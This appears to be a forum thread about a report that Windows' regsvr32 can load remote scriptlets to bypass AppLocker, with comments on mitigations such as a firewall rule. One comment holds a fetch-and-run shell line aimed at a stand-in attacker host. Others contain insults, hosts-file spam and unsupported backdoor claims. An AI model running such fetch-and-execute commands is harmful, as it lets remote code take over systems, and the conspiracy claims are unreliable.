Core Windows Utility Can Be Used To Bypass Whitelisting (threatpost.com)
Reader msm1267 writes: A core Windows command-line utility, Regsvr32, used to register DLLs to the Windows Registry can be abused to run remote code from the Internet, bypassing whitelisting protections such as Microsoft's AppLocker. A researcher who requested anonymity found and recently privately disclosed the issue to Microsoft. It's unknown whether Microsoft will patch this issue with a security bulletin, or in a future release. Regsvr32, also known as Microsoft Register Server, is a Microsoft-signed binary that runs as default on Windows. The researcher's proof-of-concept allows him to download and run JavaScript or VBScript from a URL provided via the command line. "There's really no patch for this; it's not an exploit. It's just using the tool in an unorthodox manner. It's a bypass, an evasion tactic," the researcher said.The Register reports: "It's built-in remote code execution without admin rights and which bypasses Windows whitelisting. I'd say it's pretty bad," said Alex Ionescu, a Windows and ARM kernel guru. The trick -- Smith didn't want to call it an exploit -- is neat because it does not touch the Registry, does not need administrator rights, can be wrapped up in an encrypted HTTP session, and should leave no trace on disk as it's a pure to-memory download. No patch exists for this, although regsvr32 can be firewalled off from the internet. Microsoft was not available for immediate comment.
A researcher who requested anonymity found and recently privately disclosed the issue to Microsoft.
If you want news from today, you have to come back tomorrow.
Meh, it still wouldn't get past my firewall.
easy.
Windows System File checker will put that back.
What are you, 12? The "M$" shit is getting old. I've seen that crap for 20 fucking years.
I'm sure Linux related companies like RedHat are non-profit and motivated strictly by a desire to improve the computing world. Money has no involvement whatsoever. I'm sure poor, broke Torvalds is frustrated from having to mooch free wifi from neighboring Starbucks while living under the highway overpass.
If your firewall is on your router I will agree with you, but it you are talking about the firewall on Windows, then you are seriously mistaken.
Neither Linus Torvalds nor Red Hat have used illicit monopolist tactics to dominate the market. Hence why we don't say "Linu$", but we do say "M$".
Don't all browsers have url javascript shut off by default?
_ _ _ Go for the eyes Boo! GO FOR THE EYES!
You need to run regsvr32 with admin rights anyway. If you're dumb enough to register an unsafe/unknown component you deserve to get hacked.
Harrison's Postulate - "For every action there is an equal and opposite criticism"
Hilariously wrong. regsvr has been in every release of Windows since at least Windows 95 and it might have even been in 3.1. Back when "back doors" were just a twinkle in Ronald Reagan's eye.
It was basically Microsoft's first hit off the crack pipe otherwise known as COM.
Just lay off the serious stuff and have a good weekend.
Pig in a Poke!
Oink! Oink! We'll be pigs!
That means nothing at all. Why would you think Micro$oft wasn't thinking about taking control over the OS in 95?
The Disable Advertising checkbox does not work.
I would think this can bypass Bit9 as well, since regsvr32 is a common windows component and allowed. Anyone got a different opinion?
https://www.sciencedaily.com/t...
This is what you just did and told the world about.
It's a PowerShell command: New-NetFirewallRule -DisplayName "Block Regsrvr32" -Program "%SystemRoot%\System32\regsvr32.exe" -Direction Outbound -Action Block
ASCII tastes bad dude.
Binary it is then.
I'd laugh, except the regular "exploit du jour" thing just isn't funny any more.
Honestly, Windows has more holes than a Chinese whorehouse. Is it ever going to be a secure operating system?
Just cruising through this digital world at 33 1/3 rpm...
What are you, 12? The "M$" shit is getting old. I've seen that crap for 20 fucking years.
What are you, 10?
Just because a fucking abbreviation has been used for 20 years, it can no longer be used?
M$ is a behemoth and a corporate bully. I hope the malware known as Windows 10 cripples M$ to the point that they lose all clout within their industry.
There, I said it - M$, M$, M$
If you have something legitimate to bring to the conversation, then please do so. If not, then shut the fuck up.
As I said, it still wouldn't get past my firewall.
So basically the guy hat wrote the article had not read the TechNet article that Microsoft wrote about AppLocker's restrictions.
https://technet.microsoft.com/...
AppLocker rules either allow or prevent an application from launching. AppLocker does not control the behavior of applications after they are launched. Applications could contain flags passed to functions that signal AppLocker to circumvent the rules and allow another .exe or .dll to be loaded. In practice, an application that is allowed by AppLocker could use these flags to bypass AppLocker rules and launch child processes. You must thoroughly examine each application before allowing them to run by using AppLocker rules.
And how did you replace that file to begin with?
Good to hear. I need to get mine setup here soon before I get too many more "security patches" that fuck up my Win7 install. In fact I just need to set it to a very small whitelist for windows machines while leaving it open for Linux. I'm not sure how I'm going to do that yet though. Maybe set blocking by IP address and have static IP's?
I was a bit surprised to see this researcher has published complete details of how to exploit this, such as a sample XML file for launching cmd.exe. I don't see any indication that Casey Smith attempted to report this in a responsible way, or to give the vendor a chance to respond. This kind of disclosure could potentially do a lot of harm.
Neither Linus Torvalds nor Red Hat have used illicit monopolist tactics to dominate the market. Hence why we don't say "Linu$", but we do say "M$".
Redhat used illicit monopolist tactics to force systemd on the rest of the Linux community
*ducks*
In the free world the media isn't government run; the government is media run.
Aren't you doing the same thing with your post?
regsvr32 does not understand DLLs. scrobj.dll does... the contents of the /i switch are passed in to the DLL. Looks like the DLL is the one with the problem.Documentation
I expect most admins can simply block or remove the DLL with little impact on their system unless they are running some obscure program that requires it. Or, as another user suggested, firewall regsvr32 so it can't download files.
Source IP and/or MAC is the standard method.
My router, an OpenBSD box, additionally does deep packet inspection.
Please, by all means, MEDICATE yourself or seek help.
MAC won't work, I'm dual booting on all my machines. I'm leaning towards IP.
Soooo...remove execute permission for the binary from everyone but administrators? Problem solved?
Sort of. I don't know the vector, but I'm guessing it has to do with Script Components and an HTTP implementation that bypasses Windows trust mechanisms. If there's privilege elevation involved, then that would be magic sauce associated with regsvr32.exs.
Nah. Ignorance and a bunch of Windows users wanting to escape Vista/8 are why systemd took hold. Basically, systemd is *great* if you're running an appliance that doesn't do anything critical and can be rebooted without more than a bit of irritation. It's fucking nuclear waste for a system that needs to be up and working all the time or you lose money.
You need to use the recovery disk to boot off. Any recovery disk will do. Then you go into the repair console...
http://lifehacker.com/5612487/hack-the-sticky-keys-feature-to-reset-a-forgotten-windows-password
My network-fu may be a little rusty, but why would that matter? MACs are burned into the network controller's ROM. Are you spoofing your MACs under Linux or something? I'm assuming your firewall is a router or other separate hardware appliance.
Do you got snaps for your apps?
MACs are burned into the network controller's ROM.
LOL. Never played with VMware, have you? What would you like your MAC to be? I'll type it in for you if it's not autoassigned.
There are two types of people in the world: Those who crave closure
What? I was saying that blocking only Windows would not work by blocking by MAC address because I am dual booting on all my machines. I intend to block at the router level(ddwrt) by IP address and setting separate static IP addresses for Windows and Linux on all the machines.
The final goal is to only allow access to sites required for gaming when in Win7 with the possibility of a few others to support gaming like nexusmods.com
So, a new massive back door in Windows is confirmation bias?
OOOOkkkkkkkk
Windows users wanting to escape Vista/8
I'm not buying this. SystemD reeks of the service management that Solaris has. Except where Solaris' management is actually useful, SystemD is a flaming pile of bloody stool.
don't see any indication that Casey Smith attempted to report this in a responsible way, or to give the vendor a chance to respond.
1. why are we not surprised that you don't see any indication of what would have been a private conversation
2. yes indeed, we are all better off when there is a nice long period of time when users are vulnerable and clueless
Um, no. It's a core OS Function, used to register COM DLLs. Every application installation and every developer that does anything remotely complex has used it.
So not a remote exploit. Move along.
How do you know that this is the only function? Do you have the source code? Can you compile it yourself and compare it to the stock binary?
I didn't think so.
Well he said dual booting, not running VMs. I don't tend to consider running a VM as "dual booting", but I suppose that's just semantics. As for MAC: DEFACEDBABE1 was always fun (I remembered that from some website I no longer recall).
Can't you just rename the damn file to something else?
New Windows is part of a clever master plan. When people reject this disgusting new flavor, MS starts selling Windows Classic. In glass bottles. Made with real sugar.
"Prediction: within 10 years, Windows will be a Linux distribution." Me, 7-6-2016
There, I said it - M$, M$, M$
Megadollars???
My network-fu may be a little rusty, but why would that matter? MACs are burned into the network controller's ROM..
MACs have been editable on consumer shit for ages. My old ass nForce 2 chipset from 2002 had an option to define the MAC via the BIOS and via the driver, for example.
Any NIC supporting virtual interfaces (such as for VLANs) will do the same thing.
Then you've got VMs.
Then you've got the fact that my physical interfaces are many (2 wireless, 2 wired on my main box), so even if I want to stick with the default MAC I've got 4 to handle.
*nm*
No 'Sure glad I dumped Windows about 5 years ago' then speculation on why this is a big deal is just reaffirming his bias.
I use OS's to launch programs. Not to be a fan of. I learned that lesson the hard way from OS2.
...This is a guy that participated in the development of ReactOS. It seems he's pretty smart. A pity he abandoned the project. It really needs people like him.
Okay so by posting that we know that you are immature at least intellectually, that you don't know the definition of malware - in fact being so far from the definition that you most likely have no clue about computers or programming.
The start of this sub-thread is ludicrous, no it isn't a back door for Microsoft to use. Know why? Us that actually knows what a computer is can check such things, maybe you'll learn about it when you grow up.
Are you serious? If they wanted to take control of the OS they could have done it without crappy hacks - AS THEY FUCKING WROTE THE FUCKING SYSTEM!
Install OpenBSD on all hosts on your LAN. Install pfSense for a router, install and enable Snort IDPS.
Read stories about windows users getting owned by this kind of stuff and shake my damn head, family.
easy.
wget https://www.attacker.website | sh
If you're able to run terminal commands, it's already game over.
BECAUSE NO MEMORY PROTECTION!
every program could write wherever the fuck it wanted. WHY would YOU need to trojan it, when first best integer overflow gave you complete control over memory space? Not to mention that if they had filesharing turned on, it DIDNT #%" MATTER anymore, the box was yours to own.
yeah but.. shake your damn head AND FAMILY? Dare I ask?
APK Hosts File Engine 9.0++ SR-4 32/64-bit http://www.bing.com/search?q=%...
Less power/cpu/ram + IO use + complexity vs. local DNS, routers & antivirus w/ less security issues. Compliments firewalls (no layered drivers firewalls use blocking less used IP addys, hosts block more used hostnames) & DNS (lightens dns load). Gets data via 10 security sites.
Works vs. HTTP PUSH ads in Chrome w/ firewalls.
* Ads rob speed you pay for, security (openbid ad networks malware makers abuse), privacy in tracking + anonymity.
(Hosts gain speed (hardcodes + adblocks), security (vs. bad sites/poisoned dns), reliability (vs. downed dns), & anonymity (dns requestlogs/trackers) w/ what you natively have. Hosts != blockable by ClarityRay like Adblock/UBlock/Ghostery)
APK
P.S. - Proven safe https://www.virustotal.com/en/...
(Verified by Mr. S. Burn of Malwarebytes: "I've seen the code & yes it is safe" http://forum.hosts-file.net/vi... )
> if they had filesharing turned on, it DIDNT #%" MATTER anymore, the box was yours to own.
This, a million times. I have always thought it beyond ludicrous that ANYbody would believe how Windows 95 with filesharing turned on being open to anyboy on the network to hack, right down to the root level of drive C, was a MISTAKE.
How the FUCK can you make a "mistake" like that and NOT FIND IT IN TESTING?
And note how every MS OS just LEAKS data; born and patched insecure and unsecurable. You wonder where the Govt got all their surveillance data before the BushII cronies ginned up the PATRIOT act? Query: what OS sat on almost every desk, leaking data?
The 1% want it to be as it is. Think yourself why.
Might help in your condition. Go for it.
there is freebsd.
and oberon.
as soon as the commie hipsters, in the pay of 1%, show up somewhere, we have moved on.
We get it, you're retired, you don't use Windows anymore, and you apparently have Alzheimer's. You don't have to mention all this every time you make a post.
You have not already done that?
The Register article has a bit more information. This isn't really a vulnerability. It's definitely not "remote code execution". It works like this:
- Microsoft provides a tool called AppLocker that can be used to limit the programs that can be run on a system.
- The AppLocker tool is not intended as a tight "security boundary". Instead, it is a way to implement company policies like "no playing games at work", or to help with software licensing, i.e. "the company system image has a copy of Photoshop, but you aren't in the Design department, so you aren't licensed to run it", and perhaps to reduce attack surface area.
- The Microsoft-provided sample AppLocker configuration (intended to show the syntax for AppLocker rules) happens to have a sample rule that whitelists all programs under C:\windows. This is not a "recommended" rule -- it's a "sample" rule.
- If you leave this rule in, there are a large number of ways to escape the sandbox.
- A researcher found another one. Yay, I guess?
The new one is interesting because I wouldn't have considered regsvr32 to be a command that allows for running of arbitrary other commands. On the other hand, it shouldn't belong in a production whitelist in the first place, so being able to use it to escape the sandbox isn't particularly interesting.
Time flies like an arrow. Fruit flies like a banana.
The stable ABI is what created most of the mess in Windows. Listing this as a shortcoming of Linux shows you have no idea what you're talking about. A huge mass of badly maintained binary only drivers is not a good thing, it's an incredible liability.
Drivers need to be maintained. The only way to ensure that is to have their maintenance be part of the kernel maintenance. A stable ABI would directly counteract this.
And Microsoft keeps doing transgressions. They haven't washed out their stripes. They've just been slapped on the wrist enough to not be blatant about it.
See subject: Can they do 16 items hosts do 4 speed, security & reliability (more efficiently)?
1.) Protect vs. bad sites (past ads)
2.) Protect vs. fastflux botnets + stop C&C talk
3.) Protect vs. dyn dns botnets + stop C&C talk
4.) Protect vs. DGA botnets + stop C&C talk
5.) Protect vs. downed DNS (reliability)
6.) Protect vs. DNS poisoning
7.) Protect vs. trackers
8.) Protect vs. spam payload links
9.) Protect vs. phish payload links
10.) Protect vs. caps
11.) Get past dns blocks
12.) Avoid dnsrequest logs
13.) Speed up surfing (adblock & hardcodes)
14.) Works on anything webbound multiplatform.
15.) EZ datacontrol
16.) Block ads more efficiently
Answer's NO on addons doing it or @ ALL + hosts = on devices natively - not illogically inefficiently "Bolting on 'MoAr'".
(Ads on same site = rare: Admen don't trust webmasters)
Addons = ClarityRay blockable by native browser methods: Untrue for hosts.
APK
P.S.=> Hosts != crippled & 'souled-out' to admen like "AlmostALLAdsBlocked"
In the proof of concept regsvr32.exe is neither used to download a scriptlet nor to register a DLL on the local machine! /I option just passes any string AS-IS to the DllInstall() routine of the DLL called by regsvr32.exe .SCT file.
Do your homework and read https://support.microsoft.com/en-us/kb/249873 plus https://msdn.microsoft.com/en-us/library/bb759846.aspx: the
It's but scrobj.dll which downloads the scriptlet and eventually runs the embedded JScript or VBScript.
To be clear: scrobj.dll is DESIGNED to run JScript or VBScript embedded in a
The bypass of AppLocker as well as SAFER to run arbitrary JScript or VBScript, but not arbitrary executables, is due to the fact that scrobj.dll is not a component of the Windows script host. ...).
The latter uses AppLocker or SAFER to determine if execution of scripts (independent of their file extension) is allowed or blocked, the former does not (just like other applications which execute JScript or VBScript, for example mshta.exe, any web browser,
Also note: neither regsvr32.exe nor the JScript/VBScript run via scrobj.dll can run and register DLLs or execute EXEs blocked by AppLocker or SAFER!
What do you mean with "crappy hacks"? Unless you are referring to the OS as a whole I do not know what you are talking about. I am talking about a backdoor built into the OS.